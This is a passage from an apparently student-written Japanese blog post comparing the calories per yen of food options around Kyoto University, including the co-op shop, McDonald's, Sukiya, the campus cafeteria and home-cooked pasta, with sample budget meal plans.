コンビニでのベースライン調査が終わったところで、次は京大の吉田南生協ショップでの品揃えを調べてみます(日によって品揃えのばらつきあり)。
成分表が記載されていたのでタンパク質・脂質についても載せています。
| 名称 | カロリー(kcal) | タンパク質(g) | 脂質(g) | 値段(円) | コスパ(kcal/円) |
|---|---|---|---|---|---|
| 彩り野菜の白身魚ヘルシー弁当 | 485 | 13.8 | 17.2 | 400 | 1.21 |
| 鶏そぼろ玉子丼 | 586 | 18.0 | 11.0 | 360 | 1.63 |
| 味噌カツ丼 | 744 | 20.4 | 21.0 | 360 | 2.07 |
| ハンバーグ&鶏肉ダッカルビ風野菜炒め弁当 | 769 | 25.9 | 23.7 | 390 | 1.97 |
| カジキメンチカツ弁当 | 873 | 24.8 | 29.6 | 430 | 2.03 |
| チキン南蛮弁当 | 1024 | --- | --- | 399 | 2.57 |
| おにぎりセット(鮭・かつお) | 439 | 12.0 | 12.4 | 213 | 2.06 |
| 鮭とろおにぎり | 199 | 4.7 | 2.2 | 108 | 1.84 |
| 坦々麺の追い飯風おにぎり | 220 | 5.4 | 2.6 | 134 | 1.64 |
| 大きな天むすおにぎり | 290 | 7.7 | 2.3 | 150 | 1.93 |
| 南蛮サンド | 566 | 16.4 | 26.8 | 300 | 1.87 |
| サーモンタルタルとバジルポテトサンド | 347 | 10.0 | 16.0 | 300 | 1.16 |
| オールドファッション | 285 | 2.8 | 17.1 | 118 | 2.42 |
| ケーキドーナツ(4個入り) | 834 | 7.4 | 46.0 | 162 | 5.15 |
| 大きなチョコチップメロンパン | 454 | 9.7 | 15.8 | 118 | 3.85 |
| ホワイトデニッシュショコラ | 426 | 7.0 | 27.8 | 129 | 3.30 |
| ラップサラダ 牛焼肉 | 294 | 7.4 | 11.2 | 321 | 0.92 |
| ラップサラダ サーモン | 367 | 8.7 | 19.5 | 321 | 1.14 |
| 岩塩とオリーブオイルで食べるサラダ | 38 | 2.7 | 1.2 | 198 | 0.19 |
カロリー比が総じて1.2~1.7程度であったコンビニのお弁当に比べ、生協のお弁当はかなりカロリーも高め・値段も低めに設定されており、優秀であることが見て取れます。おにぎり群も基本的にコスパがよく、特に鮭とろおにぎりはその人気を裏づける結果となっています。京大生なら利用しない手はありません。
サラダ・パン類についてはコンビニのものと大差はありませんが、ハイコスパ菓子パンの代名詞である「ケーキドーナツ(4個入り)」が品揃えに入っているところがポイント高いです。
調査 ー ファストフード・外食編
マクドナルド
次はファストフード界を代表しマクドナルドのカロリー比を調べてみます。これについてもマクドナルド公式サイトから確認することができます。参考にタンパク質・脂質含有量も載せておきます。
| 名称 | カロリー(kcal) | タンパク質(g) | 脂質(g) | 値段(円) | コスパ(kcal/円) |
|---|---|---|---|---|---|
| ハンバーガー | 256 | 12.8 | 9.4 | 110 | 2.33 |
| チーズバーガー | 307 | 15.8 | 13.4 | 140 | 2.19 |
| ダブルチーズバーガー | 457 | 26.5 | 25.0 | 340 | 1.34 |
| チキンクリスプ | 345 | 14.0 | 15.5 | 110 | 3.14 |
| グラコロ | 410 | 9.7 | 21.6 | 340 | 1.21 |
| ビッグマック | 525 | 26.0 | 28.3 | 390 | 1.35 |
| てりやきマックバーガー | 478 | 15.5 | 30.2 | 340 | 1.41 |
| チキンフィレオ | 465 | 20.0 | 21.9 | 360 | 1.29 |
| えびフィレオ | 395 | 12.5 | 17.4 | 390 | 1.01 |
| エッグマックマフィン | 311 | 19.2 | 13.5 | 200 | 1.56 |
| ソーセージマフィン | 395 | 15.0 | 25.1 | 110 | 3.59 |
| チキンクリスプマフィン | 364 | 15.2 | 17.3 | 140 | 2.6 |
| チキンマックナゲット5ピース | 270 | 15.8 | 17.2 | 200 | 1.35 |
| シャカチキ | 243 | 14.8 | 12.8 | 150 | 1.62 |
| ポテトL | 517 | 6.7 | 25.9 | 320 | 1.62 |
マクドナルドのメニューについては、商品単価が高くなるほどカロリー比が下がるという明らかな傾向が見られました。また全体的に昼マックより朝マックの方がコスパが良いという傾向も見られます。特に筆者がマックに行く際には必ず頼むチキンクリスプやソーセージマフィンは3を超える驚異的なカロリー比を見せています。しかし含まれる脂質の量やその不健康なイメージの割には全体的にカロリーが割に合っていないような印象を受けます。諸々のバランスを考えると結局素のハンバーガーが最強感ありますね。
ちなみに、ポテトS・M・Lの中ではLが微妙にカロリー比が高く、量が多いらしいです。
すき家
筆者は日常的にすき家を愛用しており、毎月すきパス*3 を買うほどのヘビーユーザーなのですが、そのカロリー効率は果たして良いのでしょうか。すき家のホームページを元に検証します。
| 名称 | カロリー(kcal) | タンパク質(g) | 脂質(g) | 値段(円) | コスパ(kcal/円) |
|---|---|---|---|---|---|
| 牛丼(並) | 733 | 23.6 | 25.2 | 350 | 2.12 |
| 牛丼(大) | 966 | 31.1 | 32.6 | 480 | 2.01 |
| ねぎ玉牛丼(並) | 853 | 31.4 | 31.6 | 480 | 1.78 |
| おろしポン酢牛丼(並) | 764 | 24.8 | 25.3 | 480 | 1.59 |
| 牛丼(並)すきパス利用時 | 733 | 23.6 | 25.2 | 280 | 2.62 |
| 牛皿(並) | 317 | 16.0 | 23.6 | 260 | 1.22 |
| まぜのっけご飯定食(大) | 808 | 25.8 | 17.5 | 380 | 2.13 |
| 鮭朝食(大) | 923 | 33.3 | 25.6 | 420 | 2.20 |
| たまかけ朝食(大) | 773 | 20.1 | 15.1 | 280 | 2.76 |
脂ブースト補正はあるものの、トッピング時を除き軒並みおにぎりボーダーを超えているのは注目に値します。またすきパスブーストにより更なる高みを目指すこともできます。
さらに注目すべきは朝食(11時まで販売)のコスパの良さです。味噌汁や卵がついてくる健康的な食事でありながらカロリー比2以上を維持しているのは驚きです。ただし、朝食の最大にして唯一の弱点はすきパスが適用されないことです。南無三。
すきパス登場以前は牛皿をテイクアウトして家で炊いたご飯で食べると言うムーブを提唱していたのですが、牛皿に好きパスが適用されないため牛丼の代わりに牛皿をテイクアウトするメリットがなくなってしまいました。ただし依然としてテイクアウトして自宅で米を追加する・トッピングを追加するという作戦は有効だと思います。
値段的なコスパ以外にも、注文してから出てくるまでの時間が異様に短いため時間的なコスパも魅力の一つです(もちろん他の牛丼チェーンもですが)。ちなみに僕は百万遍のすき家で注文して食べ終わるまでの15分という短時間の間に自転車を撤去されてしまったことがあるので皆さんもご注意を。
京大付近のコスパの良い店について
残念ながらカロリーの計算が難しいため定量的な評価をすることができませんが、京大の周り、特に百万遍付近は学生街ということもあり量のコスパの良い飲食店は多い印象があります。例を挙げると、
- 700円でラーメン+ご飯おかわりし放題の芥川
- 同じくご飯お替わり無料のハンバーグ店James Kitchen(通称JK)
- 大盛・特盛の量が半端ないまぜそばのキラメキ
- ご飯中盛(並盛と同じ値段)で器に山盛りのご飯が出てくる定食屋松之助
- デフォルトの量が多い定食屋ハイライト、丸二食堂、キャラバン
- 700円で異常な量の油淋鶏や麻婆豆腐が出てくる中華料理店味香園
しかしコスパが高いとは言えど外食ではやはり初期投資(600/700円〜)がネックで、一日の食費を1000円に抑えようと思うと頻繁な利用は難しいでしょう。
大学の食堂
大学の食堂も生協同様値段は低めに設定されているので、高コスパが期待されます。
| 名称 | カロリー(kcal) | タンパク質(g) | 脂質(g) | 値段(円) | コスパ(kcal/円) |
|---|---|---|---|---|---|
| 鶏唐ホワイトカレーソース | 399 | 23.3 | 22.7 | 308 | 1.30 |
| かしわのすき焼き風 | 317 | 23.2 | 19.2 | 220 | 1.44 |
| 照り焼きチキン | 465 | 31.7 | 25.7 | 308 | 1.51 |
| 豆と野菜のスープ煮 | 175 | 9.0 | 8.5 | 176 | 1.00 |
| 回鍋肉 | 281 | 13.1 | 18.8 | 264 | 1.06 |
| カレイの煮付け | 93 | 10.4 | 0.8 | 176 | 0.53 |
| ハンバーグおろしソース | 271 | 14.1 | 14.4 | 264 | 1.03 |
| 若鶏醤油揚げ | 194 | 13.1 | 8.4 | 176 | 1.10 |
| 豚汁 | 100 | 6.0 | 3.8 | 110 | 0.90 |
| 白米L | 561 | 7.2 | 0.0 | 138 | 4.07 |
学食は何と言っても自分で量やメニューを調節できるのが魅力です。これ以外にも小皿の野菜の付け合わせなどがあり、不足しがちな野菜も補うことができます*4。
例えばハンバーグおろしソース+豚汁+白米Mをチョイスした場合、カロリー比は932/512=1.82となり、コンビニのお弁当とは一線を画す戦闘力を発揮します。値段をある程度抑えつつ必要なカロリー・栄養素を摂取できる学食は積極的に活用を検討しても良いと思います。
ちなみに白米の価格設定はマクドのポテト同様サイズが大きくなるにつれお得となっており、Mでは408/115=3.55、LLを召喚すると918/181=5.07まで上がります。
また、京大の食堂にはミールという奴隷契約お得なサブスクリプションプランが存在します。1日550or1100円まで利用できる通常ミールは土曜日まで利用期間に入っているため平日ほぼ毎日利用してやっと元が取れ、土曜日までフルで利用してやっと100円弱お得になるという鬼畜仕様となっており、基本的に大学にいない京大生にとっては縁のない話でしょう。
ただし朝のみ280円まで利用できるという朝ミールは適用範囲が平日のみとなっているため、平日フルで利用すればそれなりにお得になります。毎日9時半までに起床し学校に行くことができるという稀有な京大生は検討の余地があるかもしれません。ただこれなら毎日11時までにすき家に通って朝食を食べる方がお得な気はします。
パスタを茹でる、という選択肢
ここまで外食ばかりを検討してきましたが、少しの手間で圧倒的コスパリティを得ることのできる手段が存在します。それがパスタを茹でるという選択肢です。パスタソースを買ってくれば鍋で5分程度茹でるだけで洗い物もほとんど出すことなく食事を済ませることができます。
| 名称 | カロリー(kcal) | 値段(円) | コスパ(kcal/円) |
|---|---|---|---|
| パスタ100g(茹で上がり250g) | 373*5 | 65*6 | 5.74 |
| 青の洞窟 カルボナーラ | 152 | 220 | 0.69 |
| 青の洞窟 ボロネーゼ | 200 | 158 | 1.27 |
パスタソース界ではそれなりに高級な部類である青の洞窟シリーズを使っても、例えばボロネーゼの場合573/223=2.57というカロリー比を発揮します。これをもっと安価なパスタソースで代用したり、一人分のソースで150g、200gのパスタを消費することができれば、その可能性は計り知れません。うまく使いこなすことができれば一人暮らしの大きな味方になるでしょう。※デブ注意
ただし、パスタもお米に比べ吸収が早い分、腹持ちが悪いのが難点です。さっとカロリーを摂取したい朝や軽く食べる昼ごはんに向いているかもしれません。
まとめ
以上の調査を通して、次のような知見を得ることができました。
- 油を多く含むものはカロリーが高い(当たり前)
- おにぎりのカロリー比の上界は2程度であり、これが外食・惣菜におけるコスパの目安になりそう
- サンドイッチ系のカロリー比はあまり高くない
- サラダはカロリーが低い(当たり前)が、パスタ系のサラダなどはそこそこ
- 菓子パンはカロリーが規格外に高いが、糖質・脂質が高いため使いどころが肝心
- コンビニに比べ生協のお弁当・おにぎりはコスパが高めに設定されている
- マクドナルドは不健康の代名詞である割にコスパはそんなによくないが、低価格帯のハンバーガー(特にチキンフィレオ)は戦闘力が高い
- すき家は神
- 学食はある程度のカロリー比を維持しつつ不足しがちな栄養素を補うことができる
- 朝マック、朝ミール、すき家の学食など、朝食はコスパが高めに設定されている(なんやかんや早起きは得が多い)
- パスタは外で買うより家で茹でた方が良い
特に朝食を外で食べるのがお得というのは普段あまり意識したことがなく、またこんなアホみたいな記事から「早起きは三文の得」という真面目な教訓が得られるのは何とも面白いなと思いました。
これを踏まえて、コスパの高い食事プランの一例を考えてみました。これに加えて財布と相談しながらサンドイッチ・サラダなどで野菜を摂取できればベストでしょう。
皆さんの普段の食事メニューを考える上で参考になれば嬉しいです。
○ コスパ全振り - 朝 ケーキドーナツ(4個入り) 834kcal / 162円 - 昼 牛丼(並) すきパス利用 733kcal / 280円 - 夜 家パスタ 573kcal / 223円
計 2140kcal / 665円
○ 外食フルセット - 朝 すき家のたまかけ定食(大) 773kcal / 280円 - 昼 マクドナルド(ハンバーガー+チキンクリスプ)601kcal / 220円 - 夜 外食 1200kcal / 700円
計 2574kcal / 1200円
○ 真面目に授業に出席する京大生向け - 朝 ケーキドーナツ(4個入り) 834kcal / 162円 - 昼 生協のお弁当 800kcal / 400円 - 夜 学食 800kcal / 500円
計 2534kcal / 1062円
最後に
すき家以外の牛丼御三家のヘビーユーザーや栄養管理士の方など各方面から殴られそうな内容になってしまった気もしますが、もしこの記事が読んでくれた方の生活に1mmでも役に立つことがあれば幸いです。こんなことしてる間に卒論書け
このような駄文に最後までお付き合い頂きありがとうございました。
*2:http://rescueliner.com/post-242/
*3:200円で1ヶ月間何回でも70円引きになるという魔法のチケット。さらに友達と行けば3人まで同時に使える
*4:体育館横のルネならサラダバーもあります